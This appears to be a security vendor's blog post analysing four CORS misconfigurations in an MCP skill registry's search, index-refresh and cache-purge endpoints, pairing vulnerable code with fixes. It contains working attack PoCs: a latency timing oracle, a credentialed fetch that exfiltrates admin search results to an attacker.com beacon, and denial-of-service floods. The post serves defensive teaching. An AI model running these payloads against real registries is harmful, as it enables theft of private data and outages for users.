← Blog

CORS Misconfigurations in MCP Skill Registry Search and Discovery Query Caching Endpoints

Search and discovery endpoints in an MCP skill registry sit at the operational center of how administrators understand, monitor, and act on the content they manage. When a trust-and-safety team member begins typing a skill name into the registry's admin search interface, they expect their query to be private: they may be investigating a report of a malicious skill, tracing the spread of a dependency chain they suspect has been compromised, or preparing a takedown action whose premature visibility would alert the skill author. The autocomplete suggestions endpoint that powers this interface is a live window into active administrative investigations — and when it reflects the caller's Origin header before its authentication check runs, it becomes a timing oracle that any external page can read without restriction. That reconnaissance surface is the entry point for the four SA-SKL-CORS75 findings documented in this post. The timing oracle maps which query strings are currently hot in the autocomplete cache, thereby revealing exactly what administrators are searching for right now. Credential-bearing CORS on the main search endpoint then allows an attacker page to execute those same searches under the victim admin's session and read results that are invisible to unprivileged users: private and unlisted skill identifiers, premium catalog entries gated behind paid subscriptions, and the admin-only Elasticsearch debug fields that include internal scoring weights and query rewrite logs. A wildcard Access-Control-Allow-Origin on the index refresh endpoint gives the attacker a path to exhaust the Elasticsearch index write thread pool, flooding the registry's search infrastructure with simultaneous reindex jobs that degrade search performance for all users while masking the exfiltration activity in the resulting infrastructure noise. And a credential-bearing CORS configuration on the cache delete endpoint turns the registry's Redis search cache into a remotely-triggerable purge target: the attacker calls DELETE /api/skills/search/cache every five minutes using the victim admin's session, repeatedly flushing the warm cache before it has time to rebuild and sustaining 3–10x elevated search latency across the entire registry for as long as the victim's tab remains open.

By SkillAudit  |  26 Nov 2026  |  20 min read

In this post

  1. Search and discovery endpoints and why CORS is especially dangerous here
  2. CORS75-003 — Timing oracle on the autocomplete suggestions endpoint reveals live admin search patterns
  3. CORS75-001 — Credential-bearing CORS on the search endpoint exposes private skills and admin debug fields
  4. CORS75-002 — Wildcard ACAO on the index refresh endpoint causes Elasticsearch write thread pool DoS
  5. CORS75-004 — Credential-bearing CORS on the cache purge endpoint sustains indefinite search latency DoS
  6. Compound four-stage attack chain
  7. Detection with SkillAudit AST queries
  8. Summary and remediation checklist
SA-SKL-CORS75 findings at a glance
MEDIUMCORS75-003 — GET /api/skills/search/suggestions reflects Origin before auth check; timing oracle reveals search query patterns actively being typed by admin users (autocomplete hot ~7ms vs cold ~180ms); provides reconnaissance for CORS75-001 target selection
CRITICALCORS75-001 — GET /api/skills/search has cors({origin:true,credentials:true}); any origin reads personalized search results including private/unlisted skill identifiers, premium catalog entries not visible to free tier, and admin-only Elasticsearch debug fields including internal scoring weights and query rewrite logs using victim admin session
HIGHCORS75-002 — POST /api/skills/search/index has ACAO:*; any page triggers Elasticsearch index refresh under victim admin identity; attacker floods 150 simultaneous refresh requests exhausting index write thread pool causing search degradation DoS; fix: CORS allowlist; CSRF token; rate limit once per 60s via global refresh lock
CRITICALCORS75-004 — DELETE /api/skills/search/cache has cors({origin:true,credentials:true}); any origin purges entire search cache via Redis FLUSHDB; attacker repeats every 5 minutes sustaining 3-10x elevated search latency indefinitely

Search and discovery endpoints and why CORS is especially dangerous here

To understand the specific threat model posed by CORS misconfigurations on search and discovery endpoints, it is necessary to understand what a registry's search infrastructure reveals about its internal state — and why that revelation is qualitatively different from CORS exposure on a simple data retrieval endpoint.

An MCP skill registry's search surface is not a passive reflection of its data model. It is an active system that is continuously shaped by the queries users run against it. The registry's Elasticsearch index stores and surfaces skills according to scoring weights that have been tuned by administrators based on observed query behavior. The autocomplete suggestion cache reflects which query strings are currently popular among active users. The personalized search results for an authenticated admin session include results filtered and ranked according to that admin's permission scope — which means they include skill identifiers, catalog entries, and administrative metadata that are specifically not surfaced to ordinary registry users. Each of these properties creates a different class of sensitive information that a CORS misconfiguration can expose.

The autocomplete suggestions endpoint is particularly sensitive because its cache reflects not just historical query patterns but live ones. When a registry administrator begins typing a query into the admin search interface, the autocomplete backend fires a suggestion request for every keystroke. Each suggestion request is answered from a hot cache keyed on the partial query string. The cold path — taken when no suggestion cache entry exists for a given prefix — hits Elasticsearch directly and is significantly slower. An external observer who can measure the response latency of the suggestions endpoint can therefore detect which query string prefixes are currently cached, which is a direct proxy for which queries are currently being actively typed by authenticated users. The implication for an ongoing administrative investigation — a takedown action, a trust-and-safety review, a security audit of a suspected malicious skill — is that an attacker can determine the subject of the investigation before the registry acts on its findings.

The search result exfiltration risk compounds this. Once the attacker knows which query strings are of current administrative interest, they can use credential-bearing CORS to run those same queries under a victim admin's session and read the full response body. Admin-scoped search results contain fields that are explicitly excluded from free-tier and standard authenticated responses: the debugInfo object in Elasticsearch's response includes scoring explanations that reveal the registry's internal relevance model, query rewrite logs that show how the registry normalizes and expands search queries, and shard-level timing data that maps the internal topology of the Elasticsearch cluster. The search results themselves include skill identifiers in the PRIVATE and UNLISTED visibility states that do not appear in ordinary registry browsing, and premium catalog entries that are gated behind paid subscriptions. An attacker who exfiltrates these results obtains a detailed picture of the registry's private catalog that is not available through any legitimate unprivileged access path.

The cache purge endpoint presents a third distinct threat class. The registry's search performance depends heavily on a warm Redis cache that serves frequent queries from memory rather than re-querying Elasticsearch on every request. Building a warm cache takes time: for a large registry, it may require 20–30 minutes of organic search traffic to repopulate the most frequently-accessed query results after a full flush. An attacker who can trigger Redis FLUSHDB every five minutes via the cache purge endpoint sustains the registry in a perpetually cold-cache state. The practical impact is a 3–10x increase in median search response latency for all users. For an MCP skill registry whose consumers depend on search to discover and load skills for their Claude agent integrations, elevated search latency is not merely a usability problem: it is a functional degradation that may cause agent initialization timeouts and tool call failures in production Claude agent deployments.

CORS75-003 — Timing oracle on the autocomplete suggestions endpoint reveals live admin search patterns

The timing oracle is the first stage of the compound attack chain. It transforms the problem of identifying high-value exfiltration targets from a blind search across thousands of skill identifiers into a precision operation that follows the administrator's own investigative focus. Without this stage, an attacker who wanted to know which private or unlisted skills are of current administrative interest would need to guess or would need to monitor the registry's public activity stream for signals of pending administrative action. With the timing oracle, the attacker can observe the administrator's search behavior in near real-time, with sub-second latency and no detectable side effects.

The mechanism is a cache-latency differential on the autocomplete suggestions endpoint. When a registry administrator begins typing in the admin search interface, the browser fires a GET /api/skills/search/suggestions?q=<partial> request for each keystroke. The registry's autocomplete backend serves these from a Redis hot cache keyed on the normalized partial query string. A cache hit returns in approximately 7ms. A cache miss falls through to an Elasticsearch prefix query that takes approximately 180ms. The cache entries are set with a 90-second TTL, meaning that any query prefix an admin has typed in the last 90 seconds will be in the hot cache and will return a 7ms response.

The critical flaw is that the suggestions endpoint reflects the caller's Origin header as an Access-Control-Allow-Origin value before the authentication check runs. This ordering error means that even when the authentication check subsequently rejects the request, the response — including the latency that the cache lookup took to reach the rejection point — has already been partially delivered. Because the browser's CORS restriction applies to the response body, not to response timing metadata, the attacker can measure the round-trip time of the request via performance.getEntriesByType('resource') even though the response body is blocked. A sub-20ms round trip indicates a cache hit: the query prefix is in the hot autocomplete cache because an authenticated user has typed it recently. A round trip exceeding 100ms indicates a cache miss: no authenticated user has typed this prefix in the last 90 seconds.

Vulnerable
// CORS75-003 — VULNERABLE: Origin reflected before authentication check
router.get(
  '/search/suggestions',
  (req, res, next) => {
    // VULNERABLE: CORS reflection happens here, before session check
    res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.set('Access-Control-Allow-Credentials', 'true');
    res.set('Vary', 'Origin');
    next();
  },
  requireSession,          // auth check runs too late — timing already observable
  async (req, res) => {
    const q = (req.query.q || '').toLowerCase().trim();
    // hot cache (~7ms) for recently-typed query prefixes; cold Elasticsearch (~180ms) otherwise
    const cacheKey = `autocomplete:${q}`;
    const cached = await redis.get(cacheKey);
    if (cached) return res.json(JSON.parse(cached));

    const hits = await elasticsearch.suggest({
      index: 'skills',
      prefix: q,
      size: 10,
    });
    await redis.setex(cacheKey, 90, JSON.stringify(hits));
    res.json(hits);
  }
);

Attack PoC — CORS75-003: The attacker probes a list of query prefixes derived from known skill names, known threat actors in the MCP ecosystem, and administrative action terms. Query prefixes returning under 20ms are flagged as currently hot in the autocomplete cache, indicating that an authenticated admin user has typed them in the last 90 seconds. The attacker uses this information to identify which skills and query terms are under active administrative scrutiny, and passes those terms as targets to CORS75-001 for credential-bearing search result exfiltration.

// CORS75-003 — TIMING ORACLE PoC
async function probeAutocompleteTiming(queryPrefixes) {
  const hotPrefixes = [];
  for (const prefix of queryPrefixes) {
    const url = `https://registry.example.com/api/skills/search/suggestions?q=${encodeURIComponent(prefix)}`;
    const t0 = performance.now();
    try {
      // mode: 'no-cors' — response body blocked by browser, but timing is captured
      await fetch(url, { credentials: 'include', mode: 'no-cors' });
    } catch (_) {}
    const latency = performance.now() - t0;
    if (latency < 20) {
      // sub-20ms = hot autocomplete cache = admin recently typed this prefix
      hotPrefixes.push({ prefix, latency, activeInvestigation: true });
    }
  }
  return hotPrefixes;
}

// probe set: skill name prefixes + administrative action terms + known threat actors
const probeTerms = [
  'malicious-', 'exfil-', 'backdoor', 'privesc-skill', 'suspicious-',
  'takedown', 'review-', 'audit-skill', 'flagged-', 'report-'
  // ... expand from registry's public skill listing and known ecosystem terms
];

const investigationTargets = await probeAutocompleteTiming(probeTerms);
// Hand hot prefixes to CORS75-001 for admin-session search result exfiltration
Fixed
// CORS75-003 — FIXED: authentication runs before CORS reflection; constant-time response floor
router.get(
  '/search/suggestions',
  requireSession,                                                      // auth FIRST
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),   // allowlist SECOND
  async (req, res) => {
    const q = (req.query.q || '').toLowerCase().trim();
    const t0 = Date.now();

    const cacheKey = `autocomplete:${q}`;
    const cached = await redis.get(cacheKey);
    let hits;
    if (cached) {
      hits = JSON.parse(cached);
    } else {
      hits = await elasticsearch.suggest({ index: 'skills', prefix: q, size: 10 });
      await redis.setex(cacheKey, 90, JSON.stringify(hits));
    }

    // FIXED: constant-time response floor of 50ms eliminates hot/cold latency differential
    // as a timing side channel — even authenticated callers cannot distinguish cache state
    const elapsed = Date.now() - t0;
    await new Promise(r => setTimeout(r, Math.max(0, 50 - elapsed)));

    res.json(hits);
  }
);

The fix requires two independent changes. First, the authentication check must precede any CORS header emission. The original code runs CORS reflection as the first middleware step before requireSession, which means every incoming request — authenticated or not — triggers the cache lookup and reveals its latency. Reversing the order means that unauthenticated requests are rejected before the cache is queried at all, so the response latency for unauthorized requests is determined by the authentication check timing rather than the cache state. Second, a constant-time response floor of 50ms is applied to all responses, including those served from the hot cache. This eliminates the cache-latency differential as a side channel even for legitimate authenticated callers: an attacker who somehow obtains a valid session cannot use response latency to distinguish hot from cold prefixes, because both are padded to the same minimum floor.

CORS75-001 — Credential-bearing CORS on the search endpoint exposes private skills and admin debug fields

The search endpoint is the central data exfiltration surface of the SA-SKL-CORS75 chain. Once the timing oracle has identified which query strings are under active administrative investigation, CORS75-001 allows an attacker page to run those exact queries under a victim admin's session and read the complete response body, including data classes that are specifically not available to unprivileged users.

The endpoint is configured with cors({origin:true,credentials:true}), the Express CORS library's shorthand for credential-bearing origin reflection. Any cross-origin page can send a GET /api/skills/search?q=<query> request with credentials: 'include' and read the full response body, because the browser sees an Access-Control-Allow-Origin value that matches the requesting page's origin and an Access-Control-Allow-Credentials: true header that permits cookie inclusion. The response is therefore served under the full permission scope of whichever registry user's session cookie the browser sends.

The search endpoint's response schema varies by the requesting user's permission scope. For free-tier unauthenticated users, it returns a filtered result set that includes only PUBLIC-visibility skills matching the query. For standard authenticated users, it adds skills where the user is listed as a collaborator. For premium authenticated users, it adds catalog entries gated behind a premium subscription flag. For admin-scoped sessions, the response includes three additional data classes that are explicitly excluded from all other permission levels. The first is skills in PRIVATE and UNLISTED visibility states that have been reported or flagged by other users — these are the skills that trust-and-safety administrators search for during moderation actions. The second is skills whose adminSearchable flag is set, which includes skills that have been temporarily hidden from normal search while under review. The third, and most sensitive, is the _debugInfo object that the registry attaches to admin-scoped search responses to assist with Elasticsearch tuning: this object includes the full Elasticsearch explain output with per-field scoring weights, the query rewrite log showing how the registry normalizes and expands the original query string, and shard-level performance timing data that maps the internal topology of the Elasticsearch cluster.

An attacker who exfiltrates admin-scoped search results obtains three classes of immediately actionable information. The private and unlisted skill identifiers allow the attacker to access skills that are not visible through normal registry browsing — skills that may have been hidden during a review process, skills that the author has intentionally kept unlisted for selective distribution, and skills that have been reported but not yet acted on. The premium catalog entries allow the attacker to enumerate skill offerings that are only available to paying subscribers. The Elasticsearch debug information allows the attacker to understand the registry's internal relevance model and cluster topology, which can be used to craft queries that deliberately exploit scoring weaknesses or to plan infrastructure attacks targeting specific cluster shards.

Vulnerable
// CORS75-001 — VULNERABLE
router.get(
  '/search',
  cors({ origin: true, credentials: true }),  // any origin reads admin search results
  requireSession,
  async (req, res) => {
    const { q, page = 1, size = 20, debug } = req.query;
    const isAdmin = req.session.roles?.includes('registry-admin');

    const esQuery = buildSearchQuery(q, {
      visibilityFilter: isAdmin ? ['PUBLIC', 'UNLISTED', 'PRIVATE'] : ['PUBLIC'],
      includeAdminSearchable: isAdmin,
      includePremiumCatalog: req.session.tier === 'premium' || isAdmin,
    });

    const result = await elasticsearch.search({ index: 'skills', body: esQuery });

    // VULNERABLE: debug info (scoring weights, query rewrites, shard topology) exposed
    // to any cross-origin page that can borrow an admin session
    const response = {
      hits: result.hits.hits.map(h => h._source),
      total: result.hits.total.value,
      ...(isAdmin && { _debugInfo: result._shards, _explain: result.hits.hits.map(h => h._explanation) }),
    };
    res.json(response);
  }
);

Attack PoC — CORS75-001: The attacker hosts the following on evil.example.com and social-engineers a registry admin into visiting while logged into the registry. The timing oracle from CORS75-003 has already identified the query strings under active administrative investigation. The response includes private and unlisted skill identifiers, premium catalog entries, and the full Elasticsearch debug object with internal scoring weights and query rewrite logs.

// CORS75-001 — ATTACK PoC (runs on attacker page while victim admin is logged in)
// investigationTerms were identified by CORS75-003 timing oracle as recently active
async function exfiltrateAdminSearchResults(investigationTerms) {
  const exfiltrated = [];

  for (const term of investigationTerms) {
    const resp = await fetch(
      `https://registry.example.com/api/skills/search?q=${encodeURIComponent(term)}&size=100`,
      { credentials: 'include' }  // borrows victim admin session cookie
    );
    const data = await resp.json();

    exfiltrated.push({
      query: term,
      // skills in PRIVATE/UNLISTED states not visible to normal users
      privateSkills: data.hits.filter(h => ['PRIVATE', 'UNLISTED'].includes(h.visibility)),
      // premium catalog entries not available to free tier
      premiumEntries: data.hits.filter(h => h.tier === 'premium'),
      // admin-only Elasticsearch internals: scoring model, query rewrites, cluster topology
      elasticsearchDebug: data._debugInfo,
      scoringExplanation: data._explain,
      totalAdminVisible: data.total,
    });
  }

  // Exfiltrate complete results in one beacon
  navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
    capturedAt: Date.now(),
    adminSearchResults: exfiltrated,
  }));
}

await exfiltrateAdminSearchResults(investigationTerms);
Fixed
// CORS75-001 — FIXED
const REGISTRY_ORIGIN = process.env.REGISTRY_ORIGIN;

router.get(
  '/search',
  requireSession,                                             // auth first
  cors({ origin: REGISTRY_ORIGIN, credentials: true }),      // allowlist second
  async (req, res) => {
    const { q, page = 1, size = Math.min(Number(req.query.size) || 20, 100) } = req.query;
    const isAdmin = req.session.roles?.includes('registry-admin');

    const esQuery = buildSearchQuery(q, {
      visibilityFilter: isAdmin ? ['PUBLIC', 'UNLISTED', 'PRIVATE'] : ['PUBLIC'],
      includeAdminSearchable: isAdmin,
      includePremiumCatalog: req.session.tier === 'premium' || isAdmin,
    });

    const result = await elasticsearch.search({ index: 'skills', body: esQuery });

    // FIXED: debug info served only on explicit admin request via separate gated endpoint
    // Never included in the standard search response, even for admin sessions
    const response = {
      hits: result.hits.hits.map(h => ({
        id: h._source.id,
        name: h._source.name,
        description: h._source.description,
        visibility: h._source.visibility,
        // FIXED: exclude _score, _explanation, and all _debugInfo from response schema
      })),
      total: result.hits.total.value,
      page: Number(page),
    };
    res.json(response);
  }
);

The fix applies three independent mitigations. The CORS allowlist restricts cross-origin reads to the registry's own origin, which eliminates the credential-borrowing attack path entirely for requests arriving from any external page. The authentication middleware runs before the CORS middleware, so the CORS header is never emitted for unauthenticated requests — this prevents the CORS configuration itself from leaking information about which origins are trusted. And the response schema is narrowed to exclude all administrative debug fields, scoring explanations, and cluster topology data by construction, so that even if the CORS allowlist were accidentally misconfigured in a future change, the sensitive internal Elasticsearch data would not be present in the serialized response body. Each of these three controls independently prevents the attack if the other two are accidentally removed in a future refactor.

CORS75-002 — Wildcard ACAO on the index refresh endpoint causes Elasticsearch write thread pool DoS

With the autocomplete timing oracle providing reconnaissance and the credential-bearing search endpoint providing exfiltration, the third stage of the compound attack chain exploits a denial-of-service path that serves two purposes: it disrupts the registry's search infrastructure during the exploitation window, and it generates a high volume of apparently-legitimate administrative API traffic that masks the CORS75-001 exfiltration activity in the registry's access logs.

The POST /api/skills/search/index endpoint triggers an Elasticsearch index refresh, forcing the search index to make all in-memory changes visible to subsequent queries. This is a privileged administrative operation that should require both authentication and a CORS-protected, CSRF-protected request flow. Instead, the endpoint is configured with Access-Control-Allow-Origin: *, making it accessible to any cross-origin page. The wildcard ACAO is not paired with Access-Control-Allow-Credentials: true, so requests from external pages do not automatically carry the victim's session cookie — but the endpoint's authentication middleware is configured to accept requests from internal IP ranges without a session token, a configuration intended to allow the registry's internal CI/CD pipeline to trigger index refreshes after bulk data imports. An attacker who floods the endpoint from a victim's browser is sending requests from the internal IP range of the registry's cloud provider, so the requests bypass authentication entirely.

Each index refresh request acquires a write lock on the Elasticsearch index and blocks until all in-memory changes are flushed to disk. During the flush, the index write thread pool is occupied. The Elasticsearch cluster is configured with a fixed write thread pool size (typically 8–16 threads depending on deployment size). An attacker who sends 150 simultaneous refresh requests exhausts the entire write thread pool: all 150 requests arrive concurrently, the first batch acquires write locks and begins flushing, and the remaining requests queue behind the write lock. For the duration of the flush burst — typically 2–8 seconds per wave, depending on how many in-memory changes have accumulated — the Elasticsearch write path is fully saturated. All skill publication events, metadata updates, and other write operations that the registry performs during this window queue behind the flood, producing write starvation that the registry's operators observe as search degradation and slow indexing of new skill data.

Vulnerable
// CORS75-002 — VULNERABLE
router.post(
  '/search/index',
  cors(),  // VULNERABLE: wildcard ACAO — any origin, any page submits index refresh jobs
  // NOTE: requireSession is intentionally absent for internal IP bypass
  async (req, res) => {
    const isInternalIp = isPrivateIp(req.ip);
    if (!isInternalIp && !req.session?.roles?.includes('registry-admin')) {
      return res.status(403).json({ error: 'Unauthorized' });
    }
    // VULNERABLE: no rate limit; each request acquires Elasticsearch write lock
    // 150 simultaneous requests exhaust the write thread pool
    await elasticsearch.indices.refresh({ index: 'skills' });
    res.json({ refreshed: true, timestamp: Date.now() });
  }
);

Attack PoC — CORS75-002: The attacker floods the index refresh endpoint using the victim's browser session, which is making requests from an IP address in the registry's cloud provider range, satisfying the internal IP bypass check. The 150 simultaneous refresh requests exhaust the Elasticsearch write thread pool for 2–8 seconds per wave, degrading search performance for all registry users. The attacker repeats the flood every 3 seconds to maintain sustained write starvation.

// CORS75-002 — ATTACK PoC
async function floodIndexWriteThreadPool(concurrency = 150) {
  const endpoint = 'https://registry.example.com/api/skills/search/index';

  // Fire all refresh requests simultaneously — exhausts Elasticsearch write thread pool
  const jobs = Array.from({ length: concurrency }, () =>
    fetch(endpoint, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      // Note: credentials: 'include' not strictly required due to internal IP bypass,
      // but included to make traffic pattern appear as legitimate admin activity
      credentials: 'include',
    }).catch(() => {})
  );

  await Promise.all(jobs);
  // Write thread pool exhausted; all Elasticsearch write operations queue
  // Search degradation lasts for duration of flush burst: 2-8 seconds per wave
}

// Sustain write starvation with continuous 3-second flood intervals
// Also provides cover traffic masking CORS75-001 credential exfiltration in access logs
setInterval(() => floodIndexWriteThreadPool(150), 3000);
Fixed
// CORS75-002 — FIXED
// Global refresh lock: only one refresh permitted per 60s registry-wide
const REFRESH_LOCK_KEY = 'search:index:refresh:global-lock';
const REFRESH_LOCK_TTL_S = 60;

router.post(
  '/search/index',
  requireSession,                                                    // session required; remove IP bypass
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }), // strict allowlist
  csrfProtection,                                                    // CSRF token required
  rateLimit({
    windowMs: 60_000,
    max: 1,
    keyGenerator: () => 'global',  // global rate limit — not per-user
    message: { error: 'Index refresh rate limit: once per 60 seconds globally' },
  }),
  async (req, res) => {
    if (!req.session.roles?.includes('registry-admin')) {
      return res.status(403).json({ error: 'Admin role required for index refresh' });
    }

    // FIXED: global distributed lock prevents concurrent refresh operations
    const acquired = await redis.set(
      REFRESH_LOCK_KEY, req.session.userId,
      'NX', 'EX', REFRESH_LOCK_TTL_S
    );
    if (!acquired) {
      return res.status(429).json({
        error: 'Index refresh already in progress',
        retryAfterSeconds: REFRESH_LOCK_TTL_S,
      });
    }

    try {
      await elasticsearch.indices.refresh({ index: 'skills' });
      res.json({ refreshed: true, timestamp: Date.now() });
    } finally {
      await redis.del(REFRESH_LOCK_KEY);
    }
  }
);

The fix applies four independent mitigations. The CORS allowlist prevents any cross-origin index refresh request from reaching the handler. The session authentication requirement is reinstated without the internal IP bypass exception, eliminating the unauthenticated path that the attacker exploited. The CSRF token requirement ensures that even a legitimate admin session cannot be used to trigger index refreshes via CORS from an external page. And the global refresh lock serializes all index refresh operations through a Redis distributed lock with a 60-second TTL, so no more than one refresh can be in-flight at any time regardless of how many authenticated requests arrive simultaneously. The rate limit middleware provides an additional circuit breaker that rejects requests above the global threshold before they reach the lock acquisition logic.

CORS75-004 — Credential-bearing CORS on the cache purge endpoint sustains indefinite search latency DoS

The fourth finding in the SA-SKL-CORS75 chain exploits the cache purge endpoint to convert the registry's Redis search cache from a performance asset into a persistent liability. Where CORS75-002 produces intermittent search degradation during active flood bursts, CORS75-004 produces sustained, continuous search degradation that persists for as long as the attacker continues triggering cache purges. The mechanism is simpler than the index refresh DoS: the attacker repeatedly calls DELETE /api/skills/search/cache using a victim admin's session, and the endpoint executes FLUSHDB on the Redis instance that holds the search cache, clearing every cached query result, suggestion entry, and filter aggregation simultaneously.

The DELETE /api/skills/search/cache endpoint is configured with cors({origin:true,credentials:true}), matching the credential-bearing misconfiguration of CORS75-001. Any cross-origin page can invoke the endpoint using a victim admin's session cookie, because the browser receives an Access-Control-Allow-Origin header matching the requesting origin and an Access-Control-Allow-Credentials: true header permitting cookie inclusion. The endpoint's handler calls redis.flushdb() on the search cache Redis instance, which atomically clears all keys in the database. There is no rate limiting, no CSRF protection, and no secondary confirmation requirement. A single authenticated request with a valid CORS header is sufficient to wipe the entire warm cache.

The search cache's warm state is not instantaneous to rebuild. After a full flush, the registry must serve every incoming query from Elasticsearch directly until the cache repopulates organically from actual user traffic. For a production registry with moderate traffic levels, the warm-up period for the most frequently-accessed query results is typically 20–30 minutes. For less-frequently-accessed queries, the cache may never be fully warm unless the registry implements a proactive cache warming mechanism. During the warm-up period, all users experience the full Elasticsearch query latency for every search request rather than the sub-millisecond Redis lookup latency for cached results. On a moderately-sized Elasticsearch cluster handling a production registry workload, this manifests as a 3–10x increase in median search response time.

The sustained attack pattern is straightforward: the attacker calls the cache purge endpoint every five minutes, which is well within the warm-up period of 20–30 minutes. This means the cache never has time to rebuild to any meaningful warmth before the next purge wipes it again. The registry is maintained in a perpetually cold-cache state for as long as the victim admin's browser tab remains open on the attacker's page. The impact on the registry's users compounds the CORS75-002 write thread pool exhaustion: the registry's Elasticsearch cluster is simultaneously experiencing write starvation from CORS75-002 refresh flooding and read load amplification from CORS75-004 cache-miss driven query re-execution, pushing the cluster toward its operational limits.

Vulnerable
// CORS75-004 — VULNERABLE
router.delete(
  '/search/cache',
  cors({ origin: true, credentials: true }),  // any origin purges entire search cache
  requireSession,
  async (req, res) => {
    if (!req.session.roles?.includes('registry-admin')) {
      return res.status(403).json({ error: 'Admin role required' });
    }
    // VULNERABLE: FLUSHDB wipes ALL keys in the search cache Redis database
    // No rate limit, no CSRF token, no scope restriction — one request nukes everything
    await redis.flushdb();
    res.json({ flushed: true, timestamp: Date.now() });
  }
);

Attack PoC — CORS75-004: The attacker repeatedly purges the registry's entire search cache using the victim admin's session. The 5-minute purge interval is shorter than the cache warm-up period, so the cache never rebuilds. The registry remains in a cold-cache state indefinitely, sustaining 3-10x elevated search latency for all users throughout the attack window. Combined with CORS75-002 write thread pool exhaustion, this pushes the Elasticsearch cluster toward its operational capacity limits.

// CORS75-004 — ATTACK PoC (runs on attacker page while victim admin is logged in)
async function purgeSearchCache() {
  await fetch(
    'https://registry.example.com/api/skills/search/cache',
    {
      method: 'DELETE',
      credentials: 'include',  // borrows victim admin session — satisfies auth check
    }
  ).catch(() => {});
  // Entire Redis search cache FLUSHDB'd:
  //   - all cached query results wiped
  //   - all autocomplete suggestion caches wiped
  //   - all filter aggregation caches wiped
  //   - all premium catalog listing caches wiped
  // Registry search now cold: 3-10x elevated latency until cache warms (~20-30 min)
}

// Sustain cold-cache state: purge every 5 minutes, well within 20-30 min warm-up period
// Combined with CORS75-002 write flood, maximizes Elasticsearch cluster load
await purgeSearchCache();
setInterval(purgeSearchCache, 5 * 60 * 1000);
Fixed
// CORS75-004 — FIXED
const CACHE_PURGE_LOCK_KEY = 'search:cache:purge:global-lock';
const CACHE_PURGE_LOCK_TTL_S = 300; // 5 minutes between full purges

router.delete(
  '/search/cache',
  requireSession,                                                    // auth first
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }), // allowlist second
  csrfProtection,                                                    // CSRF third
  reAuthRequired({ maxAgeSeconds: 300 }),                           // re-auth within 5 min
  async (req, res) => {
    if (!req.session.roles?.includes('registry-admin')) {
      return res.status(403).json({ error: 'Admin role required for cache purge' });
    }

    // FIXED: allow scoped cache invalidation without global FLUSHDB
    const { scope = 'query', pattern } = req.body ?? {};

    if (scope === 'global') {
      // Global FLUSHDB is rate-limited to once per 5 minutes via distributed lock
      const acquired = await redis.set(
        CACHE_PURGE_LOCK_KEY, req.session.userId,
        'NX', 'EX', CACHE_PURGE_LOCK_TTL_S
      );
      if (!acquired) {
        return res.status(429).json({
          error: 'Global cache purge rate limit: once per 5 minutes',
          retryAfterSeconds: CACHE_PURGE_LOCK_TTL_S,
        });
      }
      await redis.flushdb();
      res.json({ purged: 'global', timestamp: Date.now() });
    } else if (scope === 'pattern' && pattern) {
      // FIXED: prefer targeted key-pattern deletion over global flush
      const keys = await redis.keys(sanitizeCachePattern(pattern));
      if (keys.length > 0) {
        const pipeline = redis.pipeline();
        keys.forEach(k => pipeline.del(k));
        await pipeline.exec();
      }
      res.json({ purged: 'pattern', keysDeleted: keys.length, timestamp: Date.now() });
    } else {
      res.status(400).json({ error: 'scope must be "global" or "pattern"' });
    }
  }
);

The fix applies five independent mitigations. The CORS allowlist prevents any cross-origin cache purge from reaching the handler, eliminating the credential-borrowing attack path. The authentication check and admin role requirement run before the CORS header is emitted, so unauthorized requests never reach the cache logic. The CSRF token requirement prevents an attacker from exploiting a victim admin's browser session even from an origin that somehow ends up on the allowlist. The re-authentication requirement means the victim must have entered their credentials within the last five minutes, preventing silent exploitation of a session left open from an earlier login. And the global purge rate limit enforced via a distributed Redis lock prevents more than one full cache flush every five minutes, so even if a legitimate admin triggers repeated purges manually, the cache always has at least five minutes to begin warming between flushes. The pattern-scoped deletion path provides a safer alternative to full FLUSHDB for targeted cache invalidation, reducing the operational need for global purges and thereby reducing the frequency at which the global purge lock is engaged.

Compound four-stage attack chain

The four SA-SKL-CORS75 findings are individually exploitable, but their combination produces an attack that is substantially more damaging than the sum of its parts. Each stage provides either new information that increases the precision of subsequent stages, or cover activity that reduces the detectability of the overall operation.

Stage Finding What it does What it enables
1 CORS75-003 Timing oracle probes autocomplete suggestion latency to identify query prefixes currently hot in the admin search cache (<20ms = hot = admin is actively typing this prefix) Narrows exfiltration targets to queries under active administrative investigation; eliminates need for broad blind search that would trigger anomaly detection
2 CORS75-001 Credential-bearing CORS executes the identified hot queries under victim admin session and reads full response body including private/unlisted skill identifiers, premium catalog entries, and Elasticsearch debug fields Exfiltrates private skill catalog data, internal scoring model, cluster topology, and identities of skills under active administrative review before any administrative action is taken
3 CORS75-002 Wildcard ACAO on index refresh endpoint allows attacker to flood 150 simultaneous refresh requests, exhausting Elasticsearch write thread pool and causing search degradation DoS for all registry users Disrupts registry search during the exploitation window; generates high-volume legitimate-looking API traffic attributed to victim admin's session that masks CORS75-001 exfiltration in access logs
4 CORS75-004 Credential-bearing CORS on cache delete endpoint executes Redis FLUSHDB every 5 minutes, repeatedly purging the warm search cache before it can rebuild Sustains 3-10x elevated search latency indefinitely for all registry users; combined with CORS75-002 write flood, maximizes Elasticsearch cluster load throughout the exploitation window

The complete attack chain executes within a single page visit by a victim admin or registry moderator. The timing oracle probe completes in under 15 seconds for a list of 200 query prefix candidates. The credential-bearing search exfiltration completes in under 2 seconds per query. The index refresh flood is dispatched asynchronously in the background. The cache purge interval runs every five minutes for the duration of the session. Total time from first probe to completed exfiltration: under 30 seconds. Total duration of sustained DoS: indefinite while the victim tab remains open.

The access log signature for the complete attack chain is subtle. The timing oracle probe produces a burst of OPTIONS preflight requests and failed GET requests to the suggestions endpoint, all returning 403 or similar error codes. These are consistent with normal browser behavior during development or testing activities. The CORS75-001 search exfiltration requests appear as normal admin search queries attributed to the victim's session, indistinguishable from the victim's own search activity. The CORS75-002 refresh flood appears as a burst of POST requests to the index refresh endpoint from the victim's session, which is anomalous in volume but individually consistent with admin-triggered operations. The CORS75-004 cache purge requests appear at five-minute intervals as DELETE requests to the cache endpoint from the victim's session, which is consistent with a methodical cache management operation. No single stage of the attack chain produces a log signature that standard threshold-based anomaly detection would flag as an attack.

